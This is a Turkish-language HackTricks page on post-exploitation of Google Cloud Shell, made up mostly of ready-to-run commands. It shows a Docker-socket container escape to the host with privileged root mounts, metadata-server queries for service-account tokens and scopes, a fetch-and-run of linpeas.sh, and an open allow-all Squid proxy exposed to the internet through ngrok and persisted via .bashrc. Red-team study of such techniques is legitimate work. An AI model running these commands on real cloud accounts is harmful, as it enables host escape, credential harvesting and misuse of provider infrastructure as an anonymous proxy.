GCP - Cloud Shell Post Exploitation

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Cloud Shell

Cloud Shell hakkında daha fazla bilgi için şuraya bakın:

pageGCP - Cloud Shell Enum

Container Kaçışı

Google Cloud Shell'in bir konteyner içinde çalıştığını unutmayın, kolayca ana bilgisayara kaçabilirsiniz:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Bu, Google tarafından bir zayıflık olarak kabul edilmez, ancak bu ortamda neler olduğuna daha geniş bir bakış açısı kazandırır.

Ayrıca, ana bilgisayardan bir hizmet hesabı jetonu bulabileceğinizi fark edin:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Aşağıdaki kapsamlarla:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS ile metadata'yı sıralayın:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions kullanıldıktan sonra izin bulunamadı hizmet hesabının belirteciyle...

Proxy olarak kullanma

Google Cloud Shell örneğinizi bir proxy olarak kullanmak isterseniz, aşağıdaki komutları çalıştırmanız gerekmektedir (veya .bashrc dosyasına ekleyin):

sudo apt install -y squid

Sadece bilginiz olsun diye Squid bir http proxy sunucusudur. Aşağıdaki ayarlarla bir squid.conf dosyası oluşturun:

# Squid Configuration File

# Listen on port 3128
http_port 3128

# Allow all incoming requests
acl all src all
http_access allow all

# Enable caching
cache_dir ufs /var/spool/squid 100 16 256

# Define access control rules
# Example: Deny access to a specific IP address
# acl block_ip src 192.168.0.100
# http_access deny block_ip

Bu ayarları içeren bir squid.conf dosyası oluşturun.

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf dosyasını /etc/squid dizinine kopyalayın.

sudo cp squid.conf /etc/squid

Son olarak squid servisini çalıştırın:

sudo service squid start

Dışarıdan proxy'nin erişilebilir olması için ngrok kullanın:

./ngrok tcp 3128

Çalıştırdıktan sonra tcp:// url'sini kopyalayın. Proxy'yi bir tarayıcıdan çalıştırmak isterseniz, tcp:// kısmını ve portu kaldırmanız ve portu tarayıcı proxy ayarlarının port alanına koymanız önerilir (squid bir http proxy sunucusudur).

Başlangıçta daha iyi kullanım için .bashrc dosyasında aşağıdaki satırlar olmalıdır:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Komutlar https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key adresinden kopyalanmıştır. Diğer çılgın fikirleri (veritabanları ve hatta Windows'u bile) Cloud Shell'de çalıştırmak için o sayfayı kontrol edin.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated